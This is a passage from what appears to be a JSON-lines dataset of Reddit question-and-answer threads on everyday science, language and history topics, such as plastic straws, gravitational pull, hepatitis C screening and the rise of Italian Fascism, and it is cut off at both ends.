lids are. There isn't as much outcry against the \"real problem\" because there is already a decent solution in recycling and current sorting methods. Straws aren't a problem because of what they are made of, they are an issue because they are an awkward **shape**.", "There was a study that said straws make up a huge portion of waste found in oceans. This is true. By number, straws are the single most common form of waste in the ocean. However, straws are really small. They weigh less than half a gram each. So while they make up aarge number of items in the ocean, their mass is a relatively small portion of the waste in the ocean.", "1. It\u2019s difficult for recycling plants to handle straws\n2. It\u2019s much easier to stop using straws than to stop using single use cups. You can drink without a straw that\u2019s easy, McDonalds getting rid of all single use cups is super difficult.\n3. Adding onto number 2, it\u2019s low impact on lifestyle makes it easy to digest while making an impact on actual plastic use and people\u2019s culture around waste.", "Like the bigger problem of not throwing their garbage in the ocean? Nah, that couldn\u2019t possibly help.", "_URL_0_ this is probably a big reason nobody thinks about. Yes all pollution is bad. But straws are uniquely sinister to wildlife.", "Just want to say, I\u2019m currently drinking my coffee with a compostable straw made of of plant derived \u201cplastic\u201d and it\u2019s functionally identical to a plastic straw without any of the drawbacks of a paper one. This whole not having plastic straws thing is such a contrived non-issue.", "It is easier and cheaper to start with the small stuff and work towards getting rid of larger items down the line. You gotta walk before you can run"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], ["https://youtu.be/4wH878t78bw"], [], []]}
{"q_id": "7fg0kf", "title": "why are certain phrases such as \"mom and dad\" or \"salt and pepper\" always said that way and never backwards, like \"pepper and salt\"?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/7fg0kf/eli5_why_are_certain_phrases_such_as_mom_and_dad/", "answers": {"a_id": ["dqblomx", "dqbn1vl", "dqbnerr", "dqbnoo4", "dqbp3z5", "dqbpiv9", "dqbpjg7", "dqbq5f9"], "score": [559, 8, 15, 63, 6, 3, 2, 2], "text": ["In the case of the two you mentioned, it's just the way we say them. There's no other explanation for that: these phrases have become so well established that we all instinctively say them in that order.\n\nWhat's basically happened is that we have stopped thinking of these phrases as lists of individual things, but as single units: \"mom and dad\" means \"parents\", for example. In a way, you can think of them as \"words\": not \"salt, and also pepper\", but \"saltandpepper\", a word used to describe the most basic of condiments in Western tradition.\n\nAs a society, we have collectively decided that this is how we say them. Nobody made a conscious decision about this, it just happened spontaneously.\n\nThis isn't always the case, though. There's a very interesting phenomenon called \"ablaut reduplication\". This has two parts:\n\n1. \"reduplication\" means \"repeating a word (or sound) exactly, or almost exactly\" -- examples of reduplication include \"choo choo\" (as in \"Chattanooga Choo-Choo\") or \"la la la\" (as in \"La la la, I can't hear you!\");\n2. \"ablaut\" is a specific change in the pronunciation of a vowel.\n\nThe ablaut in English goes like this:\n\n1. the short \"i\" in \"sit\"\n2. the short \"a\" in \"hat\"\n3. the short \"o\" in \"fog\"\n\nSo ablaut reduplication means repeating a word, but each time changing the vowel. But the vowel change always happens in this order: i - >  a - >  o: so \"bing bang bong\" sounds correct, but \"bong bang bing\" sounds awkward. Examples of ablaut reduplication include chit-chat, King Kong, criss-cross and zigzag -- notice how the second vowel always comes later in the list above.", "I need clarification on this one, is it Bacon and Egg/Egg and Bacon? I prefer Bacon and Egg what does everyone else say?", "I once got marked wrong in a school paper because \"I ruined the flow\" of my paper by saying pans and pots instead of pots and pans. Fuck you Dustin", "As long as we're talking about this, another interesting tidbit:\n\nAdjectives have an order.  For instance, we say \"Little iron key\", which sounds normal, but saying \"Iron little key\" doesn't.  \n\nAccording to the Cambridge Dictionary, the order goes:\n\nOpinion (unusual), size (long), quality (rough), shape (round), age (old), colour (red), origin (Japanese), material (metal), type (general-purpose), purpose (cleaning).\n\nThat would give us an unusual long rough round old red Japanese metal general-purpose cleaning tool.\n\nThe opposite order would be a cleaning general-purpose metal Japanese red old round rough long unusual tool.  :)", "\"Fork and knife\" sounds a bit rude if you mis-hear it, especially said with an Irish accent. \"Pass the fork and knife...\"", "In Sweden we call hot dog \u201dsausage with bread\u201d. The biggest manufacturer for the hot dog bread made a commercial that you should instead say \u201dbread with sausage\u201d, because you have the sausage in the bread. I remember people getting REALLY annoyed at this commercial, because it just sounds so fucking wrong. And i imagine the same thing applies here, we\u2019re just used to hearing it that way.", "At a cafe this morning and still trying to wake up I asked for a cheese, sausage, egg bagel instead of a sausage, egg and cheese. Instantly felt like an idiot.", "For the same reason we say \"ladies and gentleman\": we repeated the same expression so many times onver and over again that it just feels \"right\" this way.\n\nYou can always say in some other order but it just unusual."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], [], [], []]}
{"q_id": "15q9tx", "title": "Which has more gravitational pull on me... girl sitting across from me on a bus, or the nearest star?", "selftext": "NINJA EDIT: I wasn't thinking of the sun... but that comparison would be interesting as well!", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/15q9tx/which_has_more_gravitational_pull_on_me_girl/", "answers": {"a_id": ["c7otbu9", "c7otbxf", "c7otc9g", "c7otc9y", "c7otdpx", "c7otf3y", "c7oti9a", "c7ovcao", "c7p1ygu", "c7p6prx"], "score": [86, 13, 4, 1627, 3, 51, 4, 15, 8, 2], "text": ["Ignoring constants:\n\nGirl: 70 kg/(3 m)^2 ~7 kg/m^2\n\nStar: 10^30 kg/(4 LY)^2 ~7x10^-4 kg/m^2\n\nGirl wins.", "Lets assume that you and the girl are spheres of about 70kg and 1m apart. \nWe then use F = GMm/r^2 = 3.2E-7 N while for the sun you get 0.21N\nSo then sun, by far. \n\nEdit: Proxima Centauri has 3.34E-13N so the girl wins here!", "The gravity equation is as such\n\nG((m_1*m_2)/r^2 )\n\nWhich is G (6.67x10^-11 ) times (the mass of the first object multiplied by the mass of the second object divided by the distance between them squared.\n\nLets say you weight about 81 kg, and the girl weighs about 68 kg. And the distance between you and her is one meter.\n\nWhen you do the math, you get (6.67E-11)(81)(68) = 3.67x10^-7 N. That's the force between the both of you.\n\nNow let's take the sun. Let's say it weighs about 1.9855x10^30 kilograms (Taken from Wikipedia), and you are about 149,600,000 km from the sun.\n\nSo (6.67E-11)((81kg)(1.9855x10^30 kg)/149,600,000 km^2 )) ?\n\nThis equals 0.4793111778 N. A much much greater force.", "Gravitational force is given by f = G m1 m2 / r^2 . I'll assume a mass of 90kg for you (although it is irrelevant to the answer).\n\n**Girl sitting across from you on bus (50kg, 2m away)**:\n\nF = 6.67x10^-11 x 50 x 90 / 2^2\n\nF = 7.5x10^-8 N\n\n**Proxima Centauri (4.24 light-years, 0.123 solar-mass)**:\n\nF = 6.67x10^-11 x 90 x 2.4x10^29 / ( 4.0x10^16 )^2\n\nF = 9.1x10^-13 N\n\n**Alpha Centauri (4.37 light-years, 2.01 solar-mass combined)**:\n\nF = 6.67x10^-11 x 90 x 4.00x10^30 / ( 4.1x10^16 )^2\n\nF = 1.4x10^-11 N\n\n**The Sun**:\n\nF = 6.67x10^-11 x 90 x 1.99x10^30 / ( 1.5x10^11 )^2\n\nF = 0.53 N\n\nSo the sun by far, followed by the girl!\n\n-------------\n\n**EDIT** (credit to mutatron for the comparison idea): Attraction of **Sun** is 7 million times stronger than **girl** who is 5000 times stronger than **Alpha Centauri** which are 15 times stronger than **Proxima Centauri**. (Alpha Centauri is a [binary star](_URL_0_).)\n\n-------------\n\n**EDIT 2**: There are a few questions on why we can't feel the gravitational attraction of the sun. We are in freefall around the sun, just as an object in orbit is in freefall around the earth (an astronaut on the ISS doesn't feel the still significant pull of the earth).\n\nIn order to move in a circle a centripetal force, that acts towards the centre of rotation, must be applied to an object. In the case of our spinning with the rotation of the Earth, a little of the force of gravity is used to supply this centripetal acceleration and keep us rotating. For an object in orbit, the centripetal force is equal to the force due to gravity.\n\nYou can feel this effect when you drive quickly over a sharp crest on a hill (circular motion) on an otherwise straight road. The faster you go, the more gravity needs to contribute to keep you in circular motion over the crest of the hill, and the lighter you feel. If you go fast enough, gravity can no longer supply sufficient centripetal force and your vehicle leaves the road: in which case you would feel weightless until you hit the road again!\n\n-----------\n\n**EDIT 3**: For those wondering, about half of the deleted comments are comments about the deleted comments! The large block deleted below was mainly about ways the guy and girl could get closer together to increase their gravitational attraction, combined with numerous comments on deleted comments... *Comments about deleted comments just add to the pile of deleted comments!*", "The force is proportional to m1\\*m2/r^2 , so if you're sitting 2 meters apart, the denominator is 4. The nearest star besides the Sun is Alpha Centauri, which is 4 light years away. That's 3.8e16 meters, so the denominator in that case is 1.4e33.\n\nNow we need to see how Alpha Centauri's mass relates to the girl's mass. It's about [1.1 solar masses](_URL_0_), which makes it [about 2.2e30 kg](_URL_1_).\n\nIf the girl is 60 kg, Alpha Centauri is about 3.7e28 times heavier, but the squares of the distances are different by 3.5e32. So the force between you and the girl is about 10,000 times as big as the force between you and Alpha Centauri.", "This is simple to calculate for yourself using Newton's formula for gravitational force, F = GMm/r^2\n\nForce is proportional to mass, but inversely proportional to the square of distance.\n\nIn this case, the nearest star is 4.2 ly away, which is 4.0 x 10^16 m. Let's suppose your neighbor on the bus is about 4 m away, so the star is 10^16 times further away from you.\n\nFor the same unit of mass, the pull from the star is therefore 10^32 times weaker than from the girl on the bus. The star would therefore need to be at least 10^32 times heavier to achieve the same gravitational force.\n\nIn fact, Alpha Centauri A weighs around 2.2x10^30 kg (there is also Proxima Centauri, which is fractionally closer and around 1/10 the mass, but that star is not visible to the naked eye).\n\nAssuming the girl weighs 60 kg, she would therefore be exerting a pull of 60/(2.2x10^-2 ) = 13,000 times stronger than the star.\n\nIf we consider the sun instead, its distance is only 1.5 x 10^11 m and its mass is 2.0x10^30 kg, so its pull is (4.0/(1.5 x 10^11 ))^2 * (2.0x10^30 /60) = 2.4 x 10^7 times stronger than the pull from the girl on the bus, i.e., 24 million times stronger.\n\nEDIT: Fixed a couple of typos.", "Well the nearest 'star' would be the Sun.\nSo the person:\nUsing Newton's universal gravitational equation, it is possible to estimate the gravitational force or pull of a 100 kg human upon a 1 kg mass some 10 m distant.\nF = GMm/r^2\nSo the force is: F = 6.673 x 10^-11 N\n\nMean distance from the sun 1.47 x 10^11 m and the it's mass is: Mass- 1.99 X 10^30 kg \nSo thats: 3.67x 10^22 N is that right? \nSo Sun wins", "Related question. How much force would you have to feel to actually notice the gravity between you and the object (say on earth)? \n\nHow large would something like lead (extremely dense) have to be for us to feel a pull toward it? ", "...I smell a pickup line in the making...\n\nI won't do the calculations everyone has done here, but here's a neat trick to do it in your head. The distance between you and the nearest star (that's not the sun) is on the order of 10^16 (basically in the ones of lightyears), which means that, because gravitational force varies as the inverse square of the distance (1 / r^2), the star would have to be 10^32 times more massive than the girl for the effect to be comparable. Google tells me that our own sun is ~10^30 kg, so that the star would have to be *at least* as massive as our own sun. This is something that apparently is not true, so there you go. Key here is knowing that the distances varies as 1 / r^2", "I once heard someone use that argument against astrology: the midwife would have a greater pull on you at birth than the planets."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], ["http://en.wikipedia.org/wiki/Binary_star"], ["http://en.wikipedia.org/wiki/Alpha_Centauri", "http://en.wikipedia.org/wiki/Solar_mass"], [], [], [], [], []]}
{"q_id": "87cx8l", "title": "why do ice cream trucks have really unique and cool ice cream treats, while the grocery store has almost none?", "selftext": "Whenever an ice cream truck comes around, they have awesome ice cream treats: ninja turtle stuff, mickey mouse stuff, spider man stuff, sonic the hedgehog stuff, etc\n\nA quick google search of \"ice cream truck ice creams\" gives a slurry of pictures of what I'm talking about. However, when you go to the grocery store, none of these awesome ice creams are anywhere to be found. \n\nWhy do ice cream truck drivers have this huge variety of awesome treats, while you're lucky if you grocery store has anything cool?", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/87cx8l/eli5_why_do_ice_cream_trucks_have_really_unique/", "answers": {"a_id": ["dwbwng3", "dwbwppc", "dwcgnvg", "dwcjovq"], "score": [4, 21, 2, 3], "text": ["Because a grocery store sells more than just ice cream. The ice cream truck drivers ONLY sell ice cream, so they have to have variety.\nThey're also usually known for certain things, that I'd assume most drivers keep in stock..like bomb pops ", "For the same reason as if you went to a Mexican restaurant, you'd find far better variety of Mexican foods than if you went to a diner that happened to serve tacos - It's a specialized endeavor, bringing people in with only one thing in mind - Ice cream and related frozen treats. It's not feasible for a grocery store to stock 40 different types of ice cream bars - tons of stuff is going to remain unsold and eventually wasted. They stick to the highest-volume sellers which for grocery stores, aren't Ninja Turtle Freeze Pops.", "Ice cream trucks specialize in selling ice cream while grocery stores are for a variety of items. Grocery stores tend to stock items which are top-sellers while ice cream trucks in addition to stocking popular treats, cater to many customer preferences. ", "They come from completely different wholesalers. In any medium-to-large city there is one (or a few in very big towns) wholesaler who specializes in his sort of product. It can not be acquired through  conventional mass market sources because it would not do well in a grocery. This is a market where the buying decisions are literally being made by small children--it is an incredibly tight niche with a very specialized product line. It just does not translate to a grocery chain where adults make the buying decisions."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], []]}
{"q_id": "8r8eh4", "title": "Is there any consensus on who shot Tupac?", "selftext": "", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/8r8eh4/is_there_any_consensus_on_who_shot_tupac/", "answers": {"a_id": ["e0pel7s"], "score": [425], "text": ["It's generally considered to be Orlando Anderson.\n\n\n[Here's a previous /r/AskHistorians thread about it](_URL_0_).\n\nEdit: To follow the AutoModerator's suggestion, /u/TaftintheTub had a fantastic reply, but the entire thread is filled with great discussion."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://www.reddit.com/r/AskHistorians/comments/51l3ck/twenty_years_ago_today_tupac_shakur_was_shot_and/"]]}
{"q_id": "30z2cr", "title": "How did the Galactic Empire/Republic function as a social or economic system?", "selftext": "In the years of the Galactic Republic and then the Galactic Empire, how did it function in terms of social issues and ideas and how was the economy able to function?", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/30z2cr/how_did_the_galactic_empirerepublic_function_as_a/", "answers": {"a_id": ["cpx4pq9"], "score": [2], "text": ["Well these are two very different institutional arrangements so this will take a bit to explain. First off, the Republic was not designed as a strong centralized government. We know that it operated as a union of separate planets for the purpose of security and economic ties. However, this gets confusing because the lack of formal organization meant that strong factionalism and special interests often dominated. This, for instance, was why the Trade Federation was strong enough to be a de facto sovereign entity even prior to the Galactic Civil Wars.This passage from \"The Rise and Fall of the Galactic Republic\" is a good initial explanation of its economy:\n\n >   At the heart of the galactic economy was planetary trade. Interplanetary trade could support a local economy, but, in many cases, the high levels of economic interaction and the massive scale of exchange required for an advanced society could only be funded by interplanetary exports. While some planets maintained their own shipping fleets, most relied on large freight firms, such as Xizor Transport Systems, or independent freight haulers to carry their goods along major hyperlanes.\nThe Corporate Sector was first formed in 490 BBY to free the Republic lawmakers and the Corporate moneymakers from their differences. In the last millennia of the Galactic Republic, commercial interests began to form guilds to increase their influence on relevant legislation and achieve greater efficiency. While most of these guilds, like the Trade Federation, Techno Union, and the Commerce Guild, collapsed after the Clone Wars, a number of surviving members flocked to the Corporate Sector Authority.\nThousands of currencies were used across the galaxy. The Galactic Republic's dataries were perhaps the most widespread form of currency. Because of the Republic's exceptional membership, dataries were accepted on all but the most remote planets. From its inception, the credit was backed by the immense wealth of the planet Muunilinst and the InterGalactic Banking Clan. During the Clone Wars, the IGBC backed the currencies of both sides.\nAll working beings were required to pay income taxes, which were collected by the Republic Tax Collection Agency.\n\nTo answer your question about the social functions of the Galactic Republic, it very much followed the decentralized nature of its political organization. We find that the Republic was comprised of very diverse cultures and members were able to retain their traditional cultural beliefs and customs. It also possessed a very liberal policy toward art and expression. It should be noted that humanocentrism was outlawed by the Rights of Sentience clause of the Galactic Constitution, but this was often of little consequence. It was still very present across the galaxy and nonhuman races often had little recourse. Some notable examples include the separated ghettos found on Taris or the enslavement practices of the Czerka Corporation.\n\nI'll let someone else tackle the differences found in the Galactic Empire as that era is not my specialty."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "10fjlx", "title": "How much time passes between the day I see my meat product on the grocery store shelf and the day the animal was slaughtered?", "selftext": "If possible, please provide the different time points for common store-purchased refrigerated meat products. For example: steak, ground beef, lamb, pork, chicken. I am also curious about deli meats like sliced turkey breast, roast beef, pastrami, corned beef, etc. Thanks!", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/10fjlx/how_much_time_passes_between_the_day_i_see_my/", "answers": {"a_id": ["c6d3wku", "c6d4asr", "c6d4z3b", "c6d59bm"], "score": [47, 6, 10, 5], "text": ["Our family raises beef.  From my experience, in a very small town, between when the beef is slaughtered and when it is available to the owner is dependent on how long the meat is aged.  \n\nWe age our beef between 14-17 days.  We find this to be the most cost effective time for us.  More aging=more time in the butchers cooler which means more money.  However, aging is key to creating tender meat, so it is worth it.\n\nHow long the beef takes to reach a commercial customer outside of the immediate area, I am unsure.", "I work in a meat department and even for me its kind of hard to tell. The meat it self comes shipped in a cryo-vac with a sell by date some where around the one month range and as long as stay sealed in that bag it will be fine. It usually never gets any where close to that date though. Next time in at my shop I will take a look and see if there is a package date.", " I saw an answer for beef and lamb, so I figured I would try to help with chicken. I can't speak for grocery stores, but when I worked at KFC, we usually got chicken in within 2 or 3 days of the kill date, and could hold it for up to 7.\n\nI know this is somewhat anecdotal, but I feel like it does answer part of the question. \n", "It depends. Specifically, it depends on the type of meat, and how it's prepared. Though the types of things you probably buy at your local supermarket probably don't spend more than a few weeks from slaughter to shelf, since meat destined for stores often goes through processes designed for speed (i.e., beef will be wet aged rather than dry aged, which saves a lot of time but results in a different-tasting meat).\n\nThe longest periods you're likely to find are on cured meats like hams; depending on the specific preparation method, those can take anywhere from a couple weeks up to possibly a couple years."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], []]}
{"q_id": "2jwxva", "title": "what is the difference between \"partly cloudy\" and \"partly sunny\" forecasts?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/2jwxva/eli5_what_is_the_difference_between_partly_cloudy/", "answers": {"a_id": ["clfthkp", "clfzdxs"], "score": [31, 7], "text": ["Partly Cloudy means blue skies with some clouds\n\n\nPartly Sunny means a cloudy sky with some occasional sun ", "I actually found the answer thanks to NOAA, here it is:\n\nPartly Cloudy:\nBetween 3/8 and 5/8 of the sky is covered by clouds.\n\nPartly Sunny:\nBetween 3/8 and 5/8 of the sky is covered by clouds. The term \"Partly Sunny\" is used only during daylight hours."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "5cqhw7", "title": "why are all baby boomers being encouraged to be tested for hepatitis c? how could an entire generation be infected?", "selftext": "Thank you all for your responses!  To everyone encouraging that I get tested, I unfortunately did not get to enjoy that era. But I still thank you.", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/5cqhw7/eli5_why_are_all_baby_boomers_being_encouraged_to/", "answers": {"a_id": ["d9yihjs", "d9yj9jk", "d9yjavg", "d9yllnl", "d9yuy14"], "score": [6, 5, 46, 70, 3], "text": ["Baby Boomers are the generation that went through the 60s and 70s. They are the generation of \"free love\" and rampant drug use. Add to that the fact that blood transfusions were often contaminated till relatively modern screening techniques were implemented and you have a generation with a high chance of having contracted the disease. ", "Because of lots of risky behavior before we all knew better. That and the fact that hep c can lurk in your body for 30 yrs before you find out it has destroyed your liver and you're about to get dangerously ill. Aaand, there are \"miracle\" pills now that kill it completely, so go get tested.", "[Here](_URL_0_) is a good source if you want to read through it.  \n\nBut basically, baby boomers have a rate of Hep C infection five times higher than any other generation, and no one knows why.  Since a person can have Hep C for many years before they show any symptoms, it's hard to pinpoint exactly where most people get the infection.  \n\nOne major difference between baby boomers and younger generations is that Hep C was likely spread more often because of medical procedures.  Medical professionals and hospitals didn't really adopt preventative methods until the late 80s.", "Liver clinic nurse here.\n\nThe idea is not that the entire generation could be infected, but there is an unusually high rate of infection in Americans born during that period (we call it a \"birth cohort\"). For whatever reason. Since it's easily detected via blood test, since the symptoms are mostly silent, and since it can cause serious problems untreated - it will eventually cause cirrhosis, increases your risk for liver cancer (also silent) and may cause you to need an expensive and taxing liver transplant that there is NO guarantee you will be able to get down the line - from a logical, statistical standpoint it is best to test that cohort. \n\nMost screenings in medicine are based on these concepts. For example - we recommend all girls starting at age 21 get pap smears. It's not because we think that all of those girls are going to get cervical cancer, but there is an increased risk at that time, it is a relatively quick and non-invasive test, and the risks of untreated cervical cancer are dire. So we test.\n\nHep C has also gotten far easier to treat, although, somewhat unrelated to your question, some insurance companies won't agree to pay for the very expensive treatment unless you have cirrhosis, which makes no sense to me.\n\nEdit: Oh, and adding that screening donated blood for hepatitis C wasn't done across the nation until, I believe, 1992. Anyone who had a blood transfusion before then could have possibly contracted it. ", "I was born in 1970 so don't fall within the baby boomer generation.  In April 1991, while in the US military, I received vaccinations from a jetgun device.  Does anyone have information regarding the safety of these types of injections during that time?"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], ["https://www.cdc.gov/knowmorehepatitis/media/pdfs/factsheet-boomers.pdf"], [], []]}
{"q_id": "f8y9to", "title": "The effects of the great depression on the rise of totalitarianism", "selftext": "It is usually claimed by laypersons that one of the causes of the rise of totalitarianism in Europe was the great depression, and I have recently started thinking how much of that is true. For instance, Mussolini rose to power in 1922, before the depression. How much of an effect did the great depression have on the totalitarian wave in Europe? Did it cause it or enhance it? We usually claim today that bad economy hurts the current ruling regime, so potentially did the great depression damage public support of totalitarian rulers?\n\nIt's probably another question by itself, but how much effect did it have on socialism? I assume that socialist and communist countries did not avoid getting hurt by the great depression, so did it in their own countries reduce support of socialism?", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/f8y9to/the_effects_of_the_great_depression_on_the_rise/", "answers": {"a_id": ["fiochqs"], "score": [7], "text": ["I have a somewhat older answer here, which I can't link because I can't find the old thread, dealing only with the rise of Fascism in Italy, and even that, from a rather specific angle. Since you correctly point out that Fascism appeared in the early 1920s and came to power in Italy almost a decade before the effects of the great financial crisis were felt there, I suppose the following \u2013 far from covering every one of your points \u2013 may help at least with this side of the answer. \n\nBroadly speaking, you are certainly correct that one should be careful with looking for one decisive factor in characterizing (or explaining) a complex and layered historical phenomenon. That said, one should also keep in mind that the crisis of 1929, while certainly the most memorable and dramatic from the perspective of the US, wasn't the only one moment of economical, social and financial crisis. And that economical factors certainly played a role in the affirmation of Fascism, as the Italian economical situation in the years 1919-22 wasn't exactly rosy. \n\nIt is, I understand, a rather long answer, but I would say that it kind of makes sense the way it is pieced together, as I tried to balance social, financial and political factors together.\n\n\n & nbsp;\n\n\nFirst, let's start by acknowledging that I don't know if I can really provide you with a satisfactory, comprehensive answer as to why Fascism came to be. \n\nThere is the problem with every \"why\" question \u2013 that searching for the \"causes\" of a social and political phenomenon does lead to the, at least implicit, assumption of some for of causality relation, which is very hard to prove, or even to substantiate in a proper sense. Such an inquiry is made more problematic for Fascism since our idea of \"fascism\" \u2013 and even of \"Fascism\" to mean exclusively the Italian specie \u2013 does not exist in an isolated space but, in its historical context, developed within a pre-existing political, social and cultural environment, of which Fascism came to be a dominant element, but never operating unilaterally over it, rather in a pattern of reciprocal influences. \n\nIt is therefore always difficult to trace a neat distinction between those traits which are \"fascist\" and those which are expression of the environment and landscape \u2013 between the \"true\" characters and the \"opportunistic\" traits of the system developing around the Fascist affirmation. \n\nThis is not to say that an investigation of Fascism and its origins is impossible \u2013 in fact there is a vast abundance of literature on the subject \u2013 but even within the context of a significant historical (and non historical) research, outside of a substantial agreement on certain main components of Fascism and on the fact that those played a role in its affirmation, it's very difficult to provide a general consensus on \"the causes\" of Fascism.\n\nWhich \u2013 it probably goes without saying \u2013 does not refute the existence of a general agreement on certain fundamental traits exhibited by Italian Fascism during its affirmation and subsequent transformation into Regime. The markedly anti-socialist and \"national\" ideological veneer, the practical collocation of the movement within the agrarian and industrial reaction, the strong confluence towards a nationalist platform in international matters, the ambiguous character of \"revolution-restoration\" that Fascism devised for itself. Such elements appeared, and were noted, already during the early years of fascist expansion, when other traits of the new movement appeared less noticeable (or were noted less).\n\nOn this ground, we have many \u2013 at times diverging \u2013 interpretations of Fascism, which goes to explain the many volumes dedicated to sum up those interpretations (in Italy alone, for instance: Casucci, C. - *Il Fascismo; antologia di scritti critici*, 1961 \u2013 De Felice, R. *Il Fascismo; le interpretazioni dei contemporanei e degli storici*, 1970 \u2013 Gentile, E. *Fascismo, Storia e Interpretazione*, 2002). And while we can certainly agree that some deserve more credit than others, their contribution is not merely limited to their supposed accuracy but also to their historical significance, as a few of those \u2013 such as the \"fascism-reaction\", the \"fascism-moral disease\" and the  official Fascist one, the \"fascism as national revolution which completes the process of Italian Risorgimento\" \u2013 developed during the life-time of Fascism and therefore are, to an extent, part of the phenomenon itself. Incidentally, those are also the most closely related to the nature of your question, as their core resides in an interpretation of the nature and effect of the Great War on Italian, and European society.\n\n\nUnfortunately for us, even a thorough examination of those three, will take up most of this answer \u2013 but I suppose I'll end up mentioning them anyways. \n\nFor reference, and as a good starting point for a reader who isn't familiar with the development of fascism in Europe, I would suggest R. Paxton's *The Anatomy of Fascism* (2004) which provides a good balance between an examination of Fascism and an \"explanation\" of Fascism. In addition, for works more focused on Italian Fascism and its relations with liberal Italy, you may find easy to locate those of R. Bosworth.\n\n\n & nbsp;\n\n\nAs a last cautionary note, this answer was originally devised to approach the affirmation of Fascism from the angle of the supposed \"humiliation\" consequent to the diplomatic and political misfortunes of the Italian governments related to the difficult resolution of the so called \"Adriatic question\" \u2013 which is to say the definition of the Italian borders and position within the Adriatic sea after the victorious conclusion of the Great War, a long drawn dispute which found its main symbol in the contested city of Fiume. \n\nI would like to caution the reader not to assume those events to have played, by themselves, a decisive role in the affirmation of Fascism. I don't. And the choice to start from there is not uncommon in literature but, for me, somewhat accidental.\n\nIt is certainly true that Fascism displayed a peculiar eagerness for highlighting and avenging all sorts of \"national humiliations\", from Caporetto to Adua, from Versailles to Rapallo \u2013 but those were often political-rhetorical devices, ways for a political system to organize itself ideologically, like metaphors settle our thoughts to their proper place. The effect and impact of the Fiume controversy should be read through an examination of its reflection over Italy's internal policy, rather than in their objective development. On this matter one should agree with Salvatorelli and Mira (*Storia d'Italia nel periodo fascista*, 1964).\n\n >  The Orlando-Sonnino phase of the Adriatic question, indecisive in so far as the question itself is concerned, detrimental to the general agreement between the three European powers, was disastrous for the Italian political climate.\n\n\nThe public mind certainly absorbed the controversy, the clamor surrounding it, the long state of tension which kept a looming echo of martial songs in the air, and made it into a theme in its own right. But the matter of Fiume was also a financial one, and a practical one. Considering it in such light, the objective matter was unfortunate \u2013 most observers agreed \u2013 and Italy had good cause to complain, but there were more urgent things to attend to. As senator and chief editor of the *Corriere della Sera* Luigi Albertini (one of the most prominent liberal-conservatives and man of absolute stature among the Milanese bourgeoisie) attempted to explain in a private letter to Prime Minister V.E. Orlando (April 10^th 1919), concerning the rumors (which had already begun circulating on the press) of the Italian delegation abandoning the Conference:\n\n >  Those who envisage, for Italy and the world, the perspective of a triumph of our rights achieved by means of this petty blackmail \u2013 what are they thinking? Do they really believe that the country has nothing else in mind but Yugoslavs and Dalmatia? [\u2026] Nowadays the public opinion has much bigger concerns: they see the Bolshevik stain spread with vertiginous rapidity; they see the noise of revolutionary propaganda in Italy grow to an impassable volume; they take notice of some sort of bourgeois resignation, a form of passive wake, a fondness for novelty among those who have little to lose, of mistrust in the proper functioning of the ordinary restraints; they are forced to contemplate a general state of drunkenness in which the wildest vindications follow one another without any conciliatory sentiment being able to moderate them, to a gush of general madness which may come to pass without consequences, but which might also throw everything up in the air."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "2rb2em", "title": "If yawning is the body's attempt to wake itself up a little, is it beneficial to stifle a yawn when trying to fall asleep?", "selftext": "What about for somebody having trouble falling asleep?", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/2rb2em/if_yawning_is_the_bodys_attempt_to_wake_itself_up/", "answers": {"a_id": ["cneln56"], "score": [15], "text": ["Yawning is not related to our sleep cycle, it is the body's reflexive recognition that oxygen saturation levels have lowered. They are contagious as other people's body's recognise a yawn as a cue to increase oxygen saturation by breathing more deeply or becoming active. People are more likely to yawn when they are tired as they become less active in the same way heart rate lowers, or in a warm, enclosed environment, hence yawning in lectures; a reaction to the environment being low in oxygen or our bodies staying inactive for a long time and not related to the topic being studied. Yawns are environmentally stimulated. Stifling a yawn will not help you to sleep."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "71jsf1", "title": "According to Ken Burns' Vietnam documentary, Charles de Gaulle threatened to abandon the western alliance in favor of the Soviets if France's colonies in Indochina were not maintained. Can someone elaborate on this?", "selftext": "It seems bizarre that in the Cold War context, the French government would be so intransigent over their colonies when everyone else in Europe was giving them up. How serious was de Gaulle's threat?", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/71jsf1/according_to_ken_burns_vietnam_documentary/", "answers": {"a_id": ["dnbn9uu"], "score": [6], "text": ["A disclaimer before I start: I have not seen the documentary in question. Being in Europe, I have no access to PBS.\n\nI am not aware of the particular instance that the documentary refers to. Without having seen it, I believe that the documentary might be referring to this quote from De Gaulle: \"We do not want to become Communist; we do not want to fall into the Russian orbit; but I hope that you do not push us into it.\"\n\nIn 1945, France emerged victorious from the Second World War. It had been defeated, humiliated, occupied and been the place for some of the most gruesome fighting in the Second World War, but it has come out on top nonetheless. The experience of the Second World War is incredibly important to understand why the French leadership cared so much about retaining their colonies. To us today, it might seem silly why they'd grasp onto colonies and wage war for over 10 years after having spent years already fighting in one of the largest wars the world had ever seen. But that's because we know how it ends. We know what happens in 1954. That hindsight makes it difficult for us to place ourselves in the shoes of those who argued for France to reoccupy Indochina after 1945.  \n\nBut first, let's wind the 